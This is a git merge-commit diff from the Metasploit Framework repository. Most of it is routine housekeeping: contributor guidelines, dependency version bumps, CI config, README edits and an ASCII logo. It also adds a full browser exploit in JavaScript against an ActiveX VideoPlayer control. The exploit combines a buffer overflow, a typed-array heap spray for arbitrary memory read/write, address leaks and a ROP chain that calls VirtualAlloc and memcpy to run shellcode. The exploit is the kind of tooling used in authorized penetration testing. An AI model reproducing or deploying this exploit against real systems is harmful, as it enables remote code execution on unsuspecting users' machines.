Merge branch 'upstream-master' into land-3950-chain-encoders

bug/bundler_fix
Brent Cook 2015-04-03 15:18:06 -05:00
commit e5443e74ed
1162 changed files with 48869 additions and 15792 deletions

12
.gitignore vendored
View File

@ -67,17 +67,7 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem.
data/meterpreter/elevator.*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
data/meterpreter/*.dll
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,

View File

@ -13,11 +13,6 @@ jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
@ -80,9 +75,15 @@ jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
joevennix <joevennix@github> joe <joev@metasploit.com>
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
joevennix <joevennix@github> joev <joev@metasploit.com>
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>

View File

@ -11,11 +11,10 @@ matrix:
before_install:
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
- rake --version
# Uncomment when we have fewer shipping msftidy warnings.
# Merge committers will still be checking, just not autofailing.
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
# - ls -la ./.git/hooks
# - ./.git/hooks/post-merge
# Fail build if msftidy is not successful
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
- ls -la ./.git/hooks
- ./.git/hooks/post-merge
before_script:
- cp config/database.yml.travis config/database.yml
- bundle exec rake --version
@ -26,7 +25,6 @@ script:
- git diff --exit-code && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '1.9.3'
- '2.1'
notifications:

View File

@ -3,86 +3,111 @@
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place!
Are you about to report a bug? Sorry to hear it.
Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues).
Please try to be as specific as you can about your problem, include steps
to reproduce (cut and paste from your console output if it's helpful), and
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Please try to be as specific as you can about your problem; include steps
to reproduce (cut and paste from your console output if it's helpful) and
what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
How ironic! Please take a look at Rapid7's [Vulnerability
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D).
your report to security@rapid7.com using our [PGP key].
Are you about to contribute some new functionality, a bug fix, or a new
Metasploit module? If so, read on...
# Contributing to Metasploit
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
What you see here in CONTRIBUTING.md is a bullet point list of the do's
and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
If you care not to follow these rules, your contribution **will** be
closed (*Road House* style). Sorry!
closed. Sorry!
This is intended to be a **short** list. The
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
This is intended to be a **short** list. The [wiki] is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup
guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
look at the standard [development environment setup] guide
and Metasploit's [Common Coding Mistakes].
## Code Contributions
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
* **Do** get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
* **Don't** use the default merge messages when merging from other
branches.
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
* **Do** stick to the [Ruby style guide].
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Don't** use the default merge messages when merging from other branches.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
### Pull Requests
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [many module mixin APIs](https://rapid7.github.io/metasploit-framework/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Scripts
* **Don't** submit new [scripts]. Scripts are shipped as examples for
automating local tasks, and anything "serious" can be done with post
modules and local exploits.
#### Library Code
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up.
* **Do** follow [Better Specs] - it's like the style guide for specs.
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
#### Bug Fixes
* **Do** include reproduction steps in the form of verification steps.
* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description.
* **Do** include a link to any corresponding [Issues] in the format of
`See #1234` in your commit description.
## Bug Reports
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.
* **Don't** file duplicate reports; search for your bug before filing a new report.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
mailing list.
source contributors over on the [Freenode IRC channel],
or e-mail us at the [metasploit-hackers] mailing list.
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!
[Issue Tracker]:http://r-7.co/MSF-BUGv1
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[development environment setup]:http://r-7.co/MSF-DEV
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
[Rubocop]:https://rubygems.org/search?query=rubocop
[50.72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api
[RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers

View File

@ -8,13 +8,13 @@ PATH
jsobfu (~> 0.2.0)
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
meterpreter_bins (= 0.0.12)
metasploit-model (~> 0.29.0)
meterpreter_bins (= 0.0.17)
msgpack
nokogiri
packetfu (= 1.1.9)
railties
rb-readline
rb-readline-r7
recog (~> 1.0)
robots
rubyzip (~> 1.1)
@ -22,9 +22,9 @@ PATH
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.13.8)
metasploit-credential (~> 0.14.3)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.21.3)
metasploit_data_models (~> 0.23.2)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
@ -62,13 +62,13 @@ GEM
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.3)
arel-helpers (2.0.2)
arel-helpers (2.1.0)
activerecord (>= 3.1.0, < 5)
aruba (0.6.1)
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
bcrypt (3.1.9)
bcrypt (3.1.10)
builder (3.0.4)
capybara (2.4.1)
mime-types (>= 1.16)
@ -101,49 +101,49 @@ GEM
gherkin (2.11.6)
json (>= 1.7.6)
hike (1.2.3)
i18n (0.6.11)
i18n (0.7.0)
journey (1.0.4)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
json (1.8.1)
json (1.8.2)
mail (2.5.4)
mime-types (~> 1.16)
treetop (~> 1.4.8)
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.13.8)
metasploit-credential (0.14.3)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit_data_models (~> 0.21.0)
metasploit-model (~> 0.29.0)
metasploit_data_models (~> 0.23.0)
pg
railties (< 4.0.0)
rubyntlm
rubyzip (~> 1.1)
metasploit-model (0.28.0)
metasploit-model (0.29.0)
activesupport
railties (< 4.0.0)
metasploit_data_models (0.21.3)
metasploit_data_models (0.23.2)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit-model (~> 0.29.0)
pg
railties (< 4.0.0)
recog (~> 1.0)
meterpreter_bins (0.0.12)
meterpreter_bins (0.0.17)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.1)
msgpack (0.5.9)
mini_portile (0.6.2)
msgpack (0.5.11)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.6.5)
nokogiri (1.6.6.2)
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.11.3)
pg (0.17.1)
pg (0.18.1)
polyglot (0.3.5)
pry (0.10.0)
coderay (~> 1.1.0)
@ -154,7 +154,7 @@ GEM
rack (>= 0.4)
rack-ssl (1.3.4)
rack
rack-test (0.6.2)
rack-test (0.6.3)
rack (>= 1.0)
rails (3.2.21)
actionmailer (= 3.2.21)
@ -172,10 +172,10 @@ GEM
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rake (10.4.2)
rb-readline (0.5.1)
rb-readline-r7 (0.5.2.0)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.6)
recog (1.0.24)
nokogiri
redcarpet (3.1.2)
rkelly-remix (0.0.6)
@ -199,8 +199,8 @@ GEM
rspec-core (~> 2.99.0)
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rubyntlm (0.4.0)
rubyzip (1.1.6)
rubyntlm (0.5.0)
rubyzip (1.1.7)
shoulda-matchers (2.6.2)
simplecov (0.5.4)
multi_json (~> 1.0.3)
@ -219,7 +219,7 @@ GEM
treetop (1.4.15)
polyglot
polyglot (>= 0.3.1)
tzinfo (0.3.42)
tzinfo (0.3.43)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.8.7.4)

View File

@ -32,10 +32,6 @@ Copyright: 2003-2010 Mark Borgerding
2009-2012 H D Moore <hdm[at]rapid7.com>
License: BSD-3-clause
Files: external/ruby-lorcon/*
Copyright: 2005, dragorn and Joshua Wright
License: LGPL-2.1
Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3

View File

@ -1,13 +1,16 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
The latest version of this software is available from https://metasploit.com/
The latest version of this software is available from: https://metasploit.com
Bug tracking and development information can be found at:
https://github.com/rapid7/metasploit-framework
New bugs and feature requests should be directed to:
http://r-7.co/MSF-BUGv1
API documentation for writing modules can be found at:
https://rapid7.github.io/metasploit-framework/api
@ -17,8 +20,8 @@ Questions and suggestions can be sent to:
Installing
--
Generally, you should use [the free installer](https://www.metasploit.com/download)
which contains all dependencies and will get you up and running with a
Generally, you should use [the free installer](https://www.metasploit.com/download),
which contains all of the dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
you'd like to deal with dependencies on your own.
@ -31,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
Contributing
--
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
walk you through the whole process starting from installing all the
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
walk you through the whole process from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request. For slightly more info, see
pull request. For slightly more information, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).

View File

@ -34,6 +34,7 @@ module Metasploit
class Application < Rails::Application
include Metasploit::Framework::CommonEngine
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
end
end

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/exploits/CVE-2014-3153.elf Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -11,7 +11,6 @@
require 'rubygems' # install rubygems
require 'hpricot' # gem install hpricot
require 'open-uri'
require 'timeout'
def usage

View File

@ -11,7 +11,7 @@
require 'rubygems' # install rubygems
require 'hpricot' # gem install hpricot
require 'open-uri'
require 'uri'
require 'timeout'
def usage
@ -26,17 +26,17 @@ File.readlines(sitelist).each do |site|
site.strip!
next if site.length == 0
next if site =~ /^#/
out = File.join(output, site + ".txt")
File.unlink(out) if File.exists?(out)
fd = File.open(out, "a")
["", "www."].each do |prefix|
begin
Timeout.timeout(10) do
doc = Hpricot(open("http://#{prefix}#{site}/"))
Timeout.timeout(10) do
doc = Hpricot(URI.parse("http://#{prefix}#{site}/").open)
doc.search("//form").each do |form|
# Extract the form
@ -78,9 +78,9 @@ File.readlines(sitelist).each do |site|
$stderr.puts "#{prefix}#{site} #{e.class} #{e}"
end
end
fd.close
File.unlink(out) if (File.size(out) == 0)
end

View File

@ -0,0 +1,126 @@
var Exploit = function () {
// create its vulnerable ActiveX object (as HTMLObjectElement)
this.obj = document.createElement("object");
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
// perform controlled memwrite to 0x1111f010: typed array header is at
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
// The first 3 dwords are sideeffects due to the code we abuse for the
// controlled memcpy
this.whereAddress = 0x1111f010;
this.memory = null;
this.addresses = new Object();
this.sprayer = null;
this.informer = null;
this.sc = "<%=shellcode%>";
};
Exploit.prototype.run = function() {
CollectGarbage();
this.sprayer = new Sprayer();
this.sprayer.spray();
this.memory = this.doCorruption();
//alert(this.memory.length.toString(16))
if (this.memory.length != 0x7fffffff){
//alert("Cannot change Uint32Array length");
return -1;
}
// now we could even repair the change we did with memcpy ...
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
var leakSuccess = this.leakAddresses();
if (leakSuccess != 0) {
//alert("Cannot leak required address to build the ROP chain");
return leakSuccess;
}
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
ropBuilder.buildRop();
// manipulate object data to gain EIP control with "Play" method
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
this.obj.Play()
};
Exploit.prototype.prepareOverflow = function() {
// prepare buffer with address we want to write to
var ptrBuf = "";
// fill buffer: length = relative pointer address - buffer start + pointer
// offset
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
ptrBuf += this.dword2str(this.whereAddress);
return ptrBuf;
};
Exploit.prototype.doCorruption = function() {
var ptrBuf = this.prepareOverflow();
// trigger: overflow buffer and overwrite the pointer value after buffer
this.obj.SetText(ptrBuf, 0, 0);
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
// use overwritten pointer after buffer with method "SetFontName" to conduct
// memory write. We overwrite a typed array's header length to 0x40 and let
// its buffer point to the next typed array header at 0x1111f030 (see above)
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
if (this.sprayer.find() == -1){
//alert("cannot find corrupted Uint32Array");
return -1
}
// modify subsequent Uint32Array to be able to RW all process memory
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
// our memory READWRITE interface :)
return this.sprayer.fullMemory;
};
Exploit.prototype.leakAddresses = function() {
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
// check if we have the image of VideoPlayer.ocx
// check for MZ9000 header and "Vide" string at offset 0x6a000
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
return -1;
}
//alert(this.addresses['base'].toString(16))
// get VirtualAlloc from imports of VideoPlayer.ocx
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
// memcpy is available inside VideoPlayer.ocx
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
scBuf = new Uint8Array(this.sc.length);
for (n=0; n < this.sc.length; n++){
scBuf[n] = this.sc.charCodeAt(n);
}
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
return 0;
};
// dword to little endian string
Exploit.prototype.dword2str = function(dword) {
var str = "";
for (var n=0; n < 4; n++){
str += String.fromCharCode((dword >> 8 * n) & 0xff);
}
return str;
};

View File

@ -0,0 +1,52 @@
var Informer = function(infArray, mem, ref) {
this.infoLeakArray = infArray;
this.memoryArray = mem;
this.referenceAddress = ref;
};
// Calculate VideoPlayer.ocx base
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
// deref heap pointer containing VideoPlayer.ocx pointer
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
var base = videoplayerPtr - 0x6b3b0; // calculate base
return base;
};
// Calculate VideoPlayer object addres
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
return objPtr;
};
// Calculate the shellcode address
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
this.infoLeakArray[0] = shellcodeBuffer;
// therefore, leak array element at 0x11120020 (typed array header of
// Uint8Array containing shellcode) ...
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
return shellcodeAddr;
};
Informer.prototype.leakRopAddress = function(ropArray) {
this.infoLeakArray[0] = ropArray
// leak array element at 0x11120020 (typed array header)
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// deref array element + 0x1c (leak rop's buffer address)
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
return ropAddr;
};

View File

@ -0,0 +1,38 @@
var RopBuilder = function(informer, addresses, scLength) {
this.rop = new Uint32Array(0x1000);
this.ropAddress = informer.leakRopAddress(this.rop);
this.base = addresses['base'];
this.virtualAlloc = addresses['virtualAlloc'];
this.memcpy = addresses['memcpy'];
this.scAddr = addresses['shellcode'];
this.scLength = scLength;
};
// Build the ROP chain to bypass DEP
RopBuilder.prototype.buildRop = function() {
// ROP chain (rets in comments are omitted)
// we perform:
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
// memcpy(EAX, shellcode, shellcodeLen)
// (void(*)())EAX()
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
this.rop[offs + 0x3] = 0; // lpAddress
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
this.rop[offs + 0xc] = this.memcpy;
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
};

View File

@ -0,0 +1,58 @@
var Sprayer = function () {
// amount of arrays to create on the heap
this.nrArrays = 0x1000;
// size of data in one array block: 0xefe0 bytes =>
// subract array header (0x20) and space for typed array headers (0x1000)
// from 0x10000
this.arrSize = (0x10000-0x20-0x1000)/4;
// heap array container will hold our heap sprayed data
this.arr = new Array(this.nrArrays);
// use one buffer for all typed arrays
this.intArrBuf = new ArrayBuffer(4);
this.corruptedArray = null;
this.corruptedArrayNext = null;
};
// Spray the heap with array data blocks and subsequent typed array headers
// of type Uint32Array
Sprayer.prototype.spray = function() {
var k = 0;
while(k < this.nrArrays) {
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
// aligned at 0xXXXX0020)
this.arr[k] = new Array(this.arrSize);
// fill remaining page (0x1000) after array data with headers of
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
// typed array header has the size of 0x30. 0x10 bytes are left empty
for(var i = 0; i < 0x55; i++){
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
}
// tag the array's last element
this.arr[k][this.arrSize - 1] = 0x12121212;
k += 1;
}
};
// Find the corrupted Uint32Array (typed array)
Sprayer.prototype.find = function() {
var k = 0;
while(k < this.nrArrays - 1) {
for(var i = 0; i < 0x55-1; i++){
if(this.arr[k][i][0] != 0){
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
// alert("0x" + arr[k][i][0].toString(16))
this.corruptedArray = this.arr[k][i];
this.corruptedArrayNext = this.arr[k+1];
this.fullMemory = this.arr[k][i+1];
return 1;
}
}
k++;
}
return -1;
};

View File

@ -0,0 +1,11 @@
<!DOCTYPE html>
<html>
<head>
<script src="js/exploit.js"></script>
<script src="js/sprayer.js"></script>
<script src="js/informer.js"></script>
<script src="js/rop_builder.js"></script>
</head>
<body onload="e = new Exploit(); e.run();">
</body>
</html>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@ -222,7 +222,13 @@ os_detect.getVersion = function(){
// Thanks to developer.mozilla.org "Firefox for developers" series for most
// of these.
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
if ('copyWithin' in Array.prototype) {
if ('closest' in Element.prototype) {
ua_version = '35.0';
} else if ('matches' in Element.prototype) {
ua_version = '34.0';
} else if ('RadioNodeList' in window) {
ua_version = '33.0';
} else if ('copyWithin' in Array.prototype) {
ua_version = '32.0';
} else if ('fill' in Array.prototype) {
ua_version = '31.0';

35
data/logos/pony-01.aftxt Normal file
View File

@ -0,0 +1,35 @@
 _________________________________________________ 
< This console just got 20% cooler >
 ------------------------------------------------- 
/
/ 
▀▄▄▄▄▄▄▄▄ / 
▀▀▄▄▄▄▄█▄▄▄▄ / 
▄███▄▄▄▄██▄██ / 
▄██▄█▄▄█▄▄██▄███ / 
▄██▄█████▄██▄▄█▄▄ / 
▄███████▄██▄▀▀▄▄██ / 
██████████▄▄▄ ██▄█ / 
██▄███▄███ ▀▀ ████ / 
▀███▄███▄▀ ███ / 
▀ ████▄▀ █▄█ / 
██▄▀█ ▄▄▄▄▄▄▄▄ / 
▀▄█ ▀ ▄▄█▄██████▄▄ / 
▀█ ███▄█████████ / 
▄███▄▄█████████ / 
███████▄██████▄▀ / 
█████▄▄█████████ 
▄▄███▄▀ █▄███████ ▄▄▄▄▄▄▄▄▄ 
▄▄█████ ▄█▄██▄████▄█▄█▄▄██▄▄██▄█▀ 
▀▄██▄▀▄▄▄███▄▄███▄██▄▄███▄▄███▄▄▄ 
